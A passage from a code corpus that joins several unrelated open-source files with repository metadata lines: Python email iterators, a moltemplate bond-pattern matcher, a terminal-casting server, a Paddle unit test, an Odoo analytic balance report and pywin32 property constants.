An array of non-interpolated average precision at n (default 0) for each
class.
"""
aps = [self._ap_calculators[i].peek_ap_at_n()
for i in range(self._num_class)]
return aps
| apache-2.0 |
blackzw/openwrt_sdk_dev1 | staging_dir/host/lib/python2.7/email/iterators.py | 415 | 2202 | # Copyright (C) 2001-2006 Python Software Foundation
# Author: Barry Warsaw
# Contact: email-sig@python.org
"""Various types of useful iterators and generators."""
__all__ = [
'body_line_iterator',
'typed_subpart_iterator',
'walk',
# Do not include _structure() since it's part of the debugging API.
]
import sys
from cStringIO import StringIO
# This function will become a method of the Message class
def walk(self):
"""Walk over the message tree, yielding each subpart.
The walk is performed in depth-first order. This method is a
generator.
"""
yield self
if self.is_multipart():
for subpart in self.get_payload():
for subsubpart in subpart.walk():
yield subsubpart
# These two functions are imported into the Iterators.py interface module.
def body_line_iterator(msg, decode=False):
"""Iterate over the parts, returning string payloads line-by-line.
Optional decode (default False) is passed through to .get_payload().
"""
for subpart in msg.walk():
payload = subpart.get_payload(decode=decode)
if isinstance(payload, basestring):
for line in StringIO(payload):
yield line
def typed_subpart_iterator(msg, maintype='text', subtype=None):
"""Iterate over the subparts with a given MIME type.
Use `maintype' as the main MIME type to match against; this defaults to
"text". Optional `subtype' is the MIME subtype to match against; if
omitted, only the main type is matched.
"""
for subpart in msg.walk():
if subpart.get_content_maintype() == maintype:
if subtype is None or subpart.get_content_subtype() == subtype:
yield subpart
def _structure(msg, fp=None, level=0, include_default=False):
"""A handy debugging aid"""
if fp is None:
fp = sys.stdout
tab = ' ' * (level * 4)
print >> fp, tab + msg.get_content_type(),
if include_default:
print >> fp, '[%s]' % msg.get_default_type()
else:
print >> fp
if msg.is_multipart():
for subpart in msg.get_payload():
_structure(subpart, fp, level+1, include_default)
| gpl-2.0 |
jag1g13/lammps | tools/moltemplate/src/nbody_by_type_lib.py | 21 | 18421 | #!/usr/bin/env python
# Author: Andrew Jewett (jewett.aij at g mail)
# http://www.chem.ucsb.edu/~sheagroup
# License: 3-clause BSD License (See LICENSE.TXT)
# Copyright (c) 2012, Regents of the University of California
# All rights reserved.
import sys
from nbody_graph_search import *
#from collections import namedtuple
if sys.version < '2.7':
sys.stderr.write('--------------------------------------------------------\n'
'----------------- WARNING: OLD PYTHON VERSION ----------\n'
' This program is untested on your python version ('+sys.version+').\n'
' PLEASE LET ME KNOW IF THIS PROGRAM CRASHES (and upgrade python).\n'
' -Andrew 2013-10-25\n'
'--------------------------------------------------------\n'
'--------------------------------------------------------\n')
from ordereddict import OrderedDict
else:
from collections import OrderedDict
from collections import defaultdict
from ttree_lex import MatchesPattern, MatchesAll, InputError
#import gc
def GenInteractions_int(G_system,
g_bond_pattern,
typepattern_to_coefftypes,
canonical_order, #function to sort atoms and bonds
atomtypes_int2str,
bondtypes_int2str,
report_progress = False): #print messages to sys.stderr?
"""
GenInteractions() automatically determines a list of interactions
present in a system of bonded atoms (argument "G_system"),
which satisfy the bond topology present in "g_bond_pattern", and
satisfy the atom and bond type requirements in "typepattern_to_coefftypes".
Whenever a set of atoms in "G_system" are bonded together in a way which
matches "g_bond_pattern", and when the atom and bond types is consistent
with one of the entries in "typepattern_to_coefftypes", the corresponding
list of atoms from G_system is appended to the list of results.
These results (the list of lists of atoms participating in an interaction)
are organized according their corresponding "coefftype", a string
which identifies the type of interaction they obey as explained above.
results are returned as a dictionary using "coefftype" as the lookup key.
Arguments:
-- typepattern_to_coefftypes is a list of 2-tuples --
The first element of the 2-tuple is the "typepattern".
It contains a string describing a list of atom types and bond types.
The typepattern is associated with a "coefftype",
which is the second element of the 2-tuple. This is a string
which identifies the type of interaction between the atoms.
Later on, this string can be used to lookup the force field
parameters for this interaction elsewhere.)
-- Arguments: G_system, g_bond_pattern, atomtypes_int2str, bondtypes_int2str --
G_system stores a list of atoms and bonds, and their attributes in
"Ugraph" format. In this format:
Atom ID numbers are represented by indices into the G_system.verts[] list.
Bond ID numbers are represented by indices into the G_system.edges[] list.
Atom types are represented as integers in the G_system.verts[i].attr list.
Bond types are represented as integers in the G_system.edges[i].attr list.
They are converted into strings using
atomtypes_int2str, and bondtypes_int2str.
g_bond_pattern is a graph which specifies the type of bonding between
the atoms required for a match. It is in Ugraph format (however the
atom and bond types are left blank.)
Atom and bond types are supplied by the user in string format. (These
strings typically encode integers, but could be any string in principle.)
The string-version of the ith atom type is stored in
atomtypes_int2str[ G_system.verts[i].attr ]
The string-version of the ith bond type is stored in
bondtypes_int2str[ G_system.edges[i].attr ]
-- The "canonical_order" argument: --
The search for atoms with a given bond pattern often yields
redundant matches. There is no difference for example
between the angle formed between three consecutively
bonded atoms (named, 1, 2, 3, for example), and the
angle between the same atoms in reverse order (3, 2, 1).
However both triplets of atoms will be returned by the subgraph-
matching algorithm when searching for ALL 3-body interactions.)
To eliminate this redundancy, the caller must supply a "canonical_order"
argument. This is a function which sorts the atoms and bonds in a way
which is consistent with the type of N-body interaction being considered.
The atoms (and bonds) in a candidate match are rearranged by the
canonical_order(). Then the re-ordered list of atom and bond ids is
tested against the list of atom/bond ids in the matches-found-so-far,
before it is added.
"""
if report_progress:
startatomid = 0
sys.stderr.write(' searching for matching bond patterns:\n')
sys.stderr.write(' 0%')
# Figure out which atoms from "G_system" bond together in a way which
# matches the "g_bond_pattern" argument. Organize these matches by
# atom and bond types and store all of the non-redundant ones in
# the "interactions_by_type" variable.
gm = GraphMatcher(G_system, g_bond_pattern)
interactions_by_type = defaultdict(list)
for atombondids in gm.Matches():
# "atombondids" is a tuple.
# atombondids[0] has atomIDs from G_system corresponding to g_bond_pattern
# (These atomID numbers are indices into the G_system.verts[] list.)
# atombondids[1] has bondIDs from G_system corresponding to g_bond_pattern
# (These bondID numbers are indices into the G_system.edges[] list.)
# It's convenient to organize the list of interactions-between-
# atoms in a dictionary indexed by atomtypes and bondtypes.
# (Because many atoms and bonds typically share the same type,
# organizing the results this way makes it faster to check
# whether a given interaction matches a "typepattern" defined
# by the user. We only have to check once for the whole group.)
atombondtypes = \
(tuple([G_system.GetVert(Iv).attr for Iv in atombondids[0]]),
tuple([G_system.GetEdge(Ie).attr for Ie in atombondids[1]]))
interactions_by_type[atombondtypes].append(atombondids)
if report_progress:
# GraphMatcher.Matches() searches for matches in an order
# that selects a different atomid number from G_system,
# starting at 0, and continuing up to the number of atoms (-1)
# in the system (G_system.nv-1), and using this as the first
# atom in the match (ie match[0][0]). This number can be used
# to guess much progress has been made so far.
oldatomid = startatomid
startatomid = atombondids[0][0]
percent_complete = (100 * startatomid) // G_system.GetNumVerts()
# report less often as more progress made
if percent_complete <= 4:
old_pc = (100 * oldatomid) // G_system.GetNumVerts()
if percent_complete > old_pc:
sys.stderr.write(' '+str(percent_complete)+'%')
elif percent_complete <= 8:
pc_d2 = (100 * startatomid) // (2*G_system.GetNumVerts())
oldpc_d2 = (100 * oldatomid) // (2*G_system.GetNumVerts())
if pc_d2 > oldpc_d2:
sys.stderr.write(' '+str(percent_complete)+'%')
elif percent_complete <= 20:
pc_d4 = (100 * startatomid) // (4*G_system.GetNumVerts())
oldpc_d4 = (100 * oldatomid) // (4*G_system.GetNumVerts())
if pc_d4 > oldpc_d4:
sys.stderr.write(' '+str(percent_complete)+'%')
else:
pc_d10 = (100 * startatomid) // (10*G_system.GetNumVerts())
oldpc_d10 = (100 * oldatomid) // (10*G_system.GetNumVerts())
if pc_d10 > oldpc_d10:
sys.stderr.write(' '+str(percent_complete)+'%')
if report_progress:
sys.stderr.write(' 100%\n')
#sys.stderr.write(' ...done\n')
#sys.stderr.write(' Looking up available atom and bond types...')
#coefftype_to_atomids = defaultdict(list)
#abids_to_coefftypes = defaultdict(list)
coefftype_to_atomids = OrderedDict()
abids_to_coefftypes = OrderedDict()
# -------------------- reporting progress -----------------------
if report_progress:
# The next interval of code is not technically necessary, but it makes
# the printed output easier to read by excluding irrelevant interactions
# Now, test each match to see if the atoms and bonds involved match
# any of the type-patterns in the "typepattern_to_coefftypes" argument.
types_atoms_all_str = set([])
types_bonds_all_str = set([])
for typepattern, coefftype in typepattern_to_coefftypes:
for atombondtypes, abidslist in interactions_by_type.items():
for Iv in atombondtypes[0]:
types_atoms_all_str.add(atomtypes_int2str[Iv])
for Ie in atombondtypes[1]:
types_bonds_all_str.add(bondtypes_int2str[Ie])
# ------------------ reporting progress (end) -------------------
count = 0
for typepattern, coefftype in typepattern_to_coefftypes:
# ------------------ reporting progress -----------------------
# The next interval of code is not technically necessary, but it makes
# the printed output easier to read by excluding irrelevant interactions
if report_progress:
# Check to see if the atoms or bonds referred to in typepattern
# are (potentially) satisfied by any of the atoms present in the system.
# If any of the required atoms for this typepattern are not present
# in this system, then skip to the next typepattern.
atoms_available_Iv = [False for Iv in range(0, g_bond_pattern.GetNumVerts())]
for Iv in range(0, g_bond_pattern.GetNumVerts()):
for type_atom_str in types_atoms_all_str:
if MatchesPattern(type_atom_str, typepattern[Iv]):
atoms_available_Iv[Iv] = True
atoms_available = True
for Iv in range(0, g_bond_pattern.GetNumVerts()):
if not atoms_available_Iv[Iv]:
atoms_available = False
bonds_available_Ie = [False for Ie in range(0, g_bond_pattern.GetNumEdges())]
for Ie in range(0, g_bond_pattern.GetNumEdges()):
for type_bond_str in types_bonds_all_str:
if MatchesPattern(type_bond_str,
typepattern[g_bond_pattern.GetNumVerts()+Ie]):
bonds_available_Ie[Ie] = True
bonds_available = True
for Ie in range(0, g_bond_pattern.GetNumEdges()):
if not bonds_available_Ie[Ie]:
bonds_available = False
if atoms_available and bonds_available:
# Explanation:
# (Again) only if ALL of the atoms and bond requirements for
# this typepattern are satisfied by at least SOME of the atoms
# present in the this system, ...THEN print a status message.
# (Because for complex all-atom force-fields, the number of
# possible atom types, and typepatterns far exceeds the number
# of atom types typically present in the system. Otherwise
# hundreds of kB of irrelevant information can be printed.)
sys.stderr.write(' checking '+coefftype+' type requirements:'
#' (atom-types,bond-types) '
'\n '+str(typepattern)+'\n')
# ------------------ reporting progress (end) -------------------
for atombondtypes, abidslist in interactions_by_type.items():
# express atom & bond types in a tuple of the original string format
types_atoms = [atomtypes_int2str[Iv] for Iv in atombondtypes[0]]
types_bonds = [bondtypes_int2str[Ie] for Ie in atombondtypes[1]]
type_strings = types_atoms + types_bonds
# use string comparisons to check for a match with typepattern
if MatchesAll(type_strings, typepattern): #<-see "ttree_lex.py"
for abids in abidslist:
# Re-order the atoms (and bonds) in a "canonical" way.
# Only add new interactions to the list after re-ordering
# them and checking that they have not been added earlier.
# (...well not when using the same coefftype at least.
# This prevents the same triplet of atoms from
# being used to calculate the bond-angle twice:
# once for 1-2-3 and 3-2-1, for example.)
abids = canonical_order(abids)
redundant = False
if abids in abids_to_coefftypes:
coefftypes = abids_to_coefftypes[abids]
if coefftype in coefftypes:
redundant = True
if not redundant:
# (It's too bad python does not
# have an Ordered defaultdict)
if coefftype in coefftype_to_atomids:
coefftype_to_atomids[coefftype].append(abids[0])
else:
coefftype_to_atomids[coefftype]=[abids[0]]
if abids in abids_to_coefftypes:
abids_to_coefftypes[abids].append(coefftype)
else:
abids_to_coefftypes[abids] = [coefftype]
count += 1
if report_progress:
sys.stderr.write(' (found '+
str(count)+' non-redundant matches)\n')
return coefftype_to_atomids
def GenInteractions_str(bond_pairs,
g_bond_pattern,
typepattern_to_coefftypes,
canonical_order, #function to sort atoms and bonds
atomids_str,
atomtypes_str,
bondids_str,
bondtypes_str,
report_progress = False): #print messages to sys.stderr?
assert(len(atomids_str) == len(atomtypes_str))
assert(len(bondids_str) == len(bondtypes_str))
# The atomids and atomtypes and bondtypes are strings.
# First we assign a unique integer id to each string.
atomids_str2int = {}
atomtypes_str2int = {}
atomtypes_int2str = []
atomtype_int = 0
for i in range(0, len(atomids_str)):
if atomids_str[i] in atomids_str2int:
raise InputError('Error: multiple atoms have the same id ('+
str(atomids_str[i])+')')
atomids_str2int[atomids_str[i]] = i
#atomtypes_int = len(atomtypes_int)+1
if (not (atomtypes_str[i] in atomtypes_str2int)):
atomtypes_str2int[atomtypes_str[i]] = atomtype_int
atomtypes_int2str.append(atomtypes_str[i])
atomtype_int += 1
#atomtypes_int.append(atomtype_int)
bondids_str2int = {}
bondtypes_str2int = {}
bondtypes_int2str = []
bondtype_int = 0
for i in range(0, len(bondids_str)):
if bondids_str[i] in bondids_str2int:
raise InputError('Error: multiple bonds have the same id ('+
str(bondids_str[i])+')')
bondids_str2int[bondids_str[i]] = i
#bondtype_int = len(bondtypes_int)+1
if (not (bondtypes_str[i] in bondtypes_str2int)):
bondtypes_str2int[bondtypes_str[i]] = bondtype_int
bondtypes_int2str.append(bondtypes_str[i])
bondtype_int += 1
# Now convert "bond_pairs" into the UGraph format
G_system = Ugraph()
for iv in range(0, len(atomtypes_str)):
G_system.AddVertex(iv, atomtypes_str2int[atomtypes_str[iv]])
for ie in range(0, len(bond_pairs)):
atomid1_str = bond_pairs[ie][0]
atomid2_str = bond_pairs[ie][1]
if (atomid1_str not in atomids_str2int):
raise InputError('Error in Bonds Section:\n'
' '+atomid1_str+' is not defined in Atoms section\n')
if (atomid2_str not in atomids_str2int):
raise InputError('Error in Bonds Section:\n'
' '+atomid2_str+' is not defined in Atoms section\n')
G_system.AddEdge(atomids_str2int[atomid1_str],
atomids_str2int[atomid2_str],
bondtypes_str2int[bondtypes_str[ie]])
coefftype_to_atomids_int = GenInteractions_int(G_system,
g_bond_pattern,
typepattern_to_coefftypes,
canonical_order,
atomtypes_int2str,
bondtypes_int2str,
report_progress)
coefftype_to_atomids_str = OrderedDict()
for coefftype, atomidss_int in coefftype_to_atomids_int.items():
if report_progress:
sys.stderr.write(' processing coefftype: '+str(coefftype)+'\n')
for atomids_int in atomidss_int:
if coefftype in coefftype_to_atomids_str:
coefftype_to_atomids_str[coefftype].append(
[atomids_str[iv] for iv in atomids_int])
else:
coefftype_to_atomids_str[coefftype] = \
[[atomids_str[iv] for iv in atomids_int]]
#gc.collect()
return coefftype_to_atomids_str
| gpl-2.0 |
doy/python-termcast-server | termcast_server/termcast.py | 1 | 9519 | import json
import re
import ssl
import time
import traceback
import vt100
auth_re = re.compile(b'^hello ([^ ]+) ([^ ]+)$')
extra_data_re = re.compile(b'\033\]499;([^\007]*)\007')
clear_patterns = [
b"\033[H\033[J",
b"\033[H\033[2J",
b"\033[2J\033[H",
# this one is from tmux - can't possibly imagine why it would choose to do
# things this way, but i'm sure there's some kind of reason
# it's not perfect (it's not always followed by a \e[H, sometimes it just
# moves the cursor to wherever else directly), but it helps a bit
lambda handler: b"\033[H\033[K\r\n\033[K" + b"".join([b"\033[1B\033[K" for i in range(handler.rows - 2)]) + b"\033[H",
]
class Handler(object):
def __init__(self, rows, cols):
self.created_at = time.time()
self.idle_since = time.time()
self.rows = rows
self.cols = cols
self.buf = b''
self.prev_read = b''
self.vt = vt100.vt100(rows, cols)
def process(self, data):
to_process = self.prev_read + data
processed = self.vt.process(to_process)
self.prev_read = to_process[processed:]
self.buf += data
extra_data = {}
while True:
m = extra_data_re.search(self.buf)
if m is None:
break
try:
extra_data_json = m.group(1).decode('utf-8')
extra_data = json.loads(extra_data_json)
except Exception as e:
print("failed to parse metadata: %s" % e, file=sys.stderr)
pass
self.buf = self.buf[:m.start(0)] + self.buf[m.end(0):]
if "geometry" in extra_data:
self.rows = extra_data["geometry"][1]
self.cols = extra_data["geometry"][0]
self.vt.set_window_size(self.rows, self.cols)
for pattern in clear_patterns:
if type(pattern) == type(lambda x: x):
pattern = pattern(self)
clear = self.buf.rfind(pattern)
if clear != -1:
print("found a clear")
self.buf = self.buf[clear + len(pattern):]
self.idle_since = time.time()
def get_term(self):
term = []
for i in range(0, self.rows):
term.append([])
for j in range(0, self.cols):
cell = self.vt.cell(i, j)
term[i].append({
"c": cell.contents(),
"f": cell.fgcolor(),
"b": cell.bgcolor(),
"o": cell.bold(),
"i": cell.italic(),
"u": cell.underline(),
"n": cell.inverse(),
"w": cell.is_wide(),
})
return term
def get_term_updates(self, screen):
if self.rows != len(screen) or self.cols != len(screen[0]):
return None
changes = []
for i in range(0, self.rows):
for j in range(0, self.cols):
cell = self.vt.cell(i, j)
cell_changes = self._diff_cell(
screen[i][j],
{
"c": cell.contents(),
"f": cell.fgcolor(),
"b": cell.bgcolor(),
"o": cell.bold(),
"i": cell.italic(),
"u": cell.underline(),
"n": cell.inverse(),
"w": cell.is_wide(),
}
)
if len(cell_changes) > 0:
changes.append({
"row": i,
"col": j,
"cell": cell_changes,
})
return changes
def _diff_cell(self, prev_cell, cur_cell):
cell_changes = {}
for key in cur_cell:
if cur_cell[key] != prev_cell[key]:
cell_changes[key] = cur_cell[key]
if "f" in cell_changes:
cell_changes["b"] = cur_cell["b"]
cell_changes["o"] = cur_cell["o"]
cell_changes["n"] = cur_cell["n"]
if "b" in cell_changes:
cell_changes["f"] = cur_cell["f"]
cell_changes["n"] = cur_cell["n"]
if "o" in cell_changes:
cell_changes["f"] = cur_cell["f"]
if "n" in cell_changes:
cell_changes["f"] = cur_cell["f"]
cell_changes["b"] = cur_cell["b"]
return cell_changes
class Connection(object):
def __init__(self, client, connection_id, publisher, pemfile):
self.client = client
self.connection_id = connection_id
self.publisher = publisher
self.pemfile = pemfile
self.viewers = 0
self.context = None
def run(self):
auth = self._readline()
if auth is None:
print("no authentication found")
return
print(auth)
if auth == b"starttls":
if not self._starttls():
print("TLS connection failed")
return
auth = self._readline()
m = auth_re.match(auth)
if m is None:
print("no authentication found (%s)" % auth)
return
print(b"got auth: " + auth)
self.name = m.group(1)
self.client.send(b"hello, " + self.name + b"\n")
extra_data, buf = self._try_read_metadata()
if "geometry" in extra_data:
self.handler = Handler(
extra_data["geometry"][1], extra_data["geometry"][0]
)
else:
self.handler = Handler(24, 80)
self.handler.process(buf)
while True:
buf = b''
try:
buf = self.client.recv(1024)
except Exception as e:
print(traceback.format_exc())
print('*** recv failed: ' + str(e))
if len(buf) > 0:
prev_screen = self.handler.get_term()
self.handler.process(buf)
self.publisher.notify(
"new_data",
self.connection_id,
self.handler.buf,
buf,
self.handler.get_term(),
self.handler.get_term_updates(prev_screen)
)
else:
self.publisher.notify("streamer_disconnect", self.connection_id)
return
def msg_new_viewer(self, connection_id):
if connection_id != self.connection_id:
return
self.viewers += 1
self.publisher.notify(
"new_data",
self.connection_id,
self.handler.buf,
b'',
self.handler.get_term(),
None
)
try:
self.client.send(b"msg watcher connected\n")
except Exception as e:
print("*** send failed (watcher connect message): " + str(e))
def msg_viewer_disconnect(self, connection_id):
if connection_id != self.connection_id:
return
try:
self.client.send(b"msg watcher disconnected\n")
except Exception as e:
print("*** send failed (watcher disconnect message): " + str(e))
self.viewers -= 1
def request_get_streamers(self):
return {
"name": self.name,
"id": self.connection_id,
"rows": self.handler.rows,
"cols": self.handler.cols,
"idle_since": self.handler.idle_since,
"created_at": self.handler.created_at,
"viewers": self.viewers,
}
def _readline(self):
buf = b''
while len(buf) < 1024 and b"\n" not in buf:
byte = self.client.recv(1)
if len(byte) == 0:
raise Exception("Connection closed unexpectedly")
buf += byte
pos = buf.find(b"\n")
if pos == -1:
return
line = buf[:pos]
if line[-1:] == b"\r":
line = line[:-1]
return line
def _starttls(self):
if self.context is None:
self.context = ssl.create_default_context(
purpose=ssl.Purpose.CLIENT_AUTH
)
self.context.load_cert_chain(certfile=self.pemfile)
try:
self.client = self.context.wrap_socket(
self.client, server_side=True
)
except Exception as e:
print(traceback.format_exc())
print('*** TLS connection failed: ' + str(e))
return False
return True
def _try_read_metadata(self):
buf = b''
while len(buf) < 6:
more = self.client.recv(6 - len(buf))
if len(more) > 0:
buf += more
else:
return {}, buf
if buf != b'\033]499;':
return {}, buf
while len(buf) < 4096 and b"\007" not in buf:
buf += self.client.recv(1)
if b"\007" not in buf:
return {}, buf
extra_data = {}
m = extra_data_re.match(buf)
if m is not None:
try:
extra_data_json = m.group(1).decode('utf-8')
extra_data = json.loads(extra_data_json)
except Exception as e:
print("failed to parse metadata: %s" % e, file=sys.stderr)
pass
buf = buf[len(m.group(0)):]
return extra_data, buf
| mit |
PaddlePaddle/Paddle | python/paddle/fluid/tests/unittests/test_assign_op_npu.py | 1 | 1547 | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import print_function
import numpy as np
import unittest
import sys
sys.path.append("..")
from op_test import OpTest
import paddle
import paddle.fluid as fluid
from paddle.fluid import core
paddle.enable_static()
SEED = 2021
@unittest.skipIf(not paddle.is_compiled_with_npu(),
"core is not compiled with NPU")
class TestAssign(OpTest):
def setUp(self):
self.set_npu()
self.place = paddle.NPUPlace(0)
self.op_type = "assign"
self.init_dtype()
x = np.random.random([3, 3]).astype(self.dtype)
self.inputs = {'X': x}
self.attrs = {}
self.outputs = {'Out': x}
def set_npu(self):
self.__class__.use_npu = True
def init_dtype(self):
self.dtype = np.float32
def test_check_output(self):
self.check_output_with_place(self.place, check_dygraph=False)
if __name__ == '__main__':
unittest.main()
| apache-2.0 |
fuselock/odoo | addons/account/project/report/analytic_balance.py | 358 | 7060 | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import time
from openerp.osv import osv
from openerp.report import report_sxw
class account_analytic_balance(report_sxw.rml_parse):
def __init__(self, cr, uid, name, context):
super(account_analytic_balance, self).__init__(cr, uid, name, context=context)
self.localcontext.update( {
'time': time,
'get_objects': self._get_objects,
'lines_g': self._lines_g,
'move_sum': self._move_sum,
'sum_all': self._sum_all,
'sum_balance': self._sum_balance,
'move_sum_balance': self._move_sum_balance,
})
self.acc_ids = []
self.read_data = []
self.empty_acc = False
self.acc_data_dict = {}# maintains a relation with an account with its successors.
self.acc_sum_list = []# maintains a list of all ids
def get_children(self, ids):
read_data = self.pool.get('account.analytic.account').read(self.cr, self.uid, ids,['child_ids','code','complete_name','balance'])
for data in read_data:
if (data['id'] not in self.acc_ids):
inculde_empty = True
if (not self.empty_acc) and data['balance'] == 0.00:
inculde_empty = False
if inculde_empty:
self.acc_ids.append(data['id'])
self.read_data.append(data)
if data['child_ids']:
self.get_children(data['child_ids'])
return True
def _get_objects(self, empty_acc):
if self.read_data:
return self.read_data
self.empty_acc = empty_acc
self.read_data = []
self.get_children(self.ids)
return self.read_data
def _lines_g(self, account_id, date1, date2):
account_analytic_obj = self.pool.get('account.analytic.account')
ids = account_analytic_obj.search(self.cr, self.uid,
[('parent_id', 'child_of', [account_id])])
self.cr.execute("SELECT aa.name AS name, aa.code AS code, \
sum(aal.amount) AS balance, sum(aal.unit_amount) AS quantity \
FROM account_analytic_line AS aal, account_account AS aa \
WHERE (aal.general_account_id=aa.id) \
AND (aal.account_id IN %s)\
AND (date>=%s) AND (date<=%s) AND aa.active \
GROUP BY aal.general_account_id, aa.name, aa.code, aal.code \
ORDER BY aal.code", (tuple(ids), date1, date2))
res = self.cr.dictfetchall()
for r in res:
if r['balance'] > 0:
r['debit'] = r['balance']
r['credit'] = 0.0
elif r['balance'] < 0:
r['debit'] = 0.0
r['credit'] = -r['balance']
else:
r['balance'] == 0
r['debit'] = 0.0
r['credit'] = 0.0
return res
def _move_sum(self, account_id, date1, date2, option):
if account_id not in self.acc_data_dict:
account_analytic_obj = self.pool.get('account.analytic.account')
ids = account_analytic_obj.search(self.cr, self.uid,[('parent_id', 'child_of', [account_id])])
self.acc_data_dict[account_id] = ids
else:
ids = self.acc_data_dict[account_id]
query_params = (tuple(ids), date1, date2)
if option == "credit":
self.cr.execute("SELECT COALESCE(-sum(amount),0.0) FROM account_analytic_line \
WHERE account_id IN %s AND date>=%s AND date<=%s AND amount<0",query_params)
elif option == "debit":
self.cr.execute("SELECT COALESCE(sum(amount),0.0) FROM account_analytic_line \
WHERE account_id IN %s\
AND date>=%s AND date<=%s AND amount>0",query_params)
elif option == "quantity":
self.cr.execute("SELECT COALESCE(sum(unit_amount),0.0) FROM account_analytic_line \
WHERE account_id IN %s\
AND date>=%s AND date<=%s",query_params)
return self.cr.fetchone()[0] or 0.0
def _move_sum_balance(self, account_id, date1, date2):
debit = self._move_sum(account_id, date1, date2, 'debit')
credit = self._move_sum(account_id, date1, date2, 'credit')
return (debit-credit)
def _sum_all(self, accounts, date1, date2, option):
account_analytic_obj = self.pool.get('account.analytic.account')
ids = map(lambda x: x['id'], accounts)
if not ids:
return 0.0
if not self.acc_sum_list:
ids2 = account_analytic_obj.search(self.cr, self.uid,[('parent_id', 'child_of', ids)])
self.acc_sum_list = ids2
else:
ids2 = self.acc_sum_list
query_params = (tuple(ids2), date1, date2)
if option == "debit":
self.cr.execute("SELECT COALESCE(sum(amount),0.0) FROM account_analytic_line \
WHERE account_id IN %s AND date>=%s AND date<=%s AND amount>0",query_params)
elif option == "credit":
self.cr.execute("SELECT COALESCE(-sum(amount),0.0) FROM account_analytic_line \
WHERE account_id IN %s AND date>=%s AND date<=%s AND amount<0",query_params)
elif option == "quantity":
self.cr.execute("SELECT COALESCE(sum(unit_amount),0.0) FROM account_analytic_line \
WHERE account_id IN %s AND date>=%s AND date<=%s",query_params)
return self.cr.fetchone()[0] or 0.0
def _sum_balance(self, accounts, date1, date2):
debit = self._sum_all(accounts, date1, date2, 'debit') or 0.0
credit = self._sum_all(accounts, date1, date2, 'credit') or 0.0
return (debit-credit)
class report_analyticbalance(osv.AbstractModel):
_name = 'report.account.report_analyticbalance'
_inherit = 'report.abstract_report'
_template = 'account.report_analyticbalance'
_wrapped_report_class = account_analytic_balance
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
| agpl-3.0 |
eirki/script.module.pywin32 | lib/x32/win32comext/propsys/pscon.py | 17 | 48201 | # hand generated from propsys.h
## PROPENUMTYPE, used with IPropertyEnumType
PET_DISCRETEVALUE = 0
PET_RANGEDVALUE = 1
PET_DEFAULTVALUE = 2
PET_ENDRANGE = 3
PDTF_DEFAULT = 0
PDTF_MULTIPLEVALUES = 0x1
PDTF_ISINNATE = 0x2
PDTF_ISGROUP = 0x4
PDTF_CANGROUPBY = 0x8
PDTF_CANSTACKBY = 0x10
PDTF_ISTREEPROPERTY = 0x20
PDTF_INCLUDEINFULLTEXTQUERY = 0x40
PDTF_ISVIEWABLE = 0x80
PDTF_ISQUERYABLE = 0x100
PDTF_ISSYSTEMPROPERTY = 0x80000000
PDTF_MASK_ALL = 0x800001ff
PDVF_DEFAULT = 0
PDVF_CENTERALIGN = 0x1
PDVF_RIGHTALIGN = 0x2
PDVF_BEGINNEWGROUP = 0x4
PDVF_FILLAREA = 0x8
PDVF_SORTDESCENDING = 0x10
PDVF_SHOWONLYIFPRESENT = 0x20
PDVF_SHOWBYDEFAULT = 0x40
PDVF_SHOWINPRIMARYLIST = 0x80
PDVF_SHOWINSECONDARYLIST = 0x100
PDVF_HIDELABEL = 0x200
PDVF_HIDDEN = 0x800
PDVF_CANWRAP = 0x1000
PDVF_MASK_ALL = 0x1bff
PDDT_STRING = 0
PDDT_NUMBER = 1
PDDT_BOOLEAN = 2
PDDT_DATETIME = 3
PDDT_ENUMERATED = 4
PDGR_DISCRETE = 0
PDGR_ALPHANUMERIC = 1
PDGR_SIZE = 2
PDGR_DYNAMIC = 3
PDGR_DATE = 4
PDGR_PERCENT = 5
PDGR_ENUMERATED = 6
## PROPDESC_FORMAT_FLAGS
PDFF_DEFAULT = 0
PDFF_PREFIXNAME = 0x1
PDFF_FILENAME = 0x2
PDFF_ALWAYSKB = 0x4
PDFF_RESERVED_RIGHTTOLEFT = 0x8
PDFF_SHORTTIME = 0x10
PDFF_LONGTIME = 0x20
PDFF_HIDETIME = 0x40
PDFF_SHORTDATE = 0x80
PDFF_LONGDATE = 0x100
PDFF_HIDEDATE = 0x200
PDFF_RELATIVEDATE = 0x400
PDFF_USEEDITINVITATION = 0x800
PDFF_READONLY = 0x1000
PDFF_NOAUTOREADINGORDER = 0x2000
PDSD_GENERAL = 0
PDSD_A_Z = 1
PDSD_LOWEST_HIGHEST = 2
PDSD_SMALLEST_BIGGEST = 3
PDSD_OLDEST_NEWEST = 4
PDRDT_GENERAL = 0
PDRDT_DATE = 1
PDRDT_SIZE = 2
PDRDT_COUNT = 3
PDRDT_REVISION = 4
PDRDT_LENGTH = 5
PDRDT_DURATION = 6
PDRDT_SPEED = 7
PDRDT_RATE = 8
PDRDT_RATING = 9
PDRDT_PRIORITY = 10
PDAT_DEFAULT = 0
PDAT_FIRST = 1
PDAT_SUM = 2
PDAT_AVERAGE = 3
PDAT_DATERANGE = 4
PDAT_UNION = 5
PDAT_MAX = 6
PDAT_MIN = 7
PDCOT_NONE = 0
PDCOT_STRING = 1
PDCOT_SIZE = 2
PDCOT_DATETIME = 3
PDCOT_BOOLEAN = 4
PDCOT_NUMBER = 5
PDSIF_DEFAULT = 0
PDSIF_ININVERTEDINDEX = 0x1
PDSIF_ISCOLUMN = 0x2
PDSIF_ISCOLUMNSPARSE = 0x4
PDCIT_NONE = 0
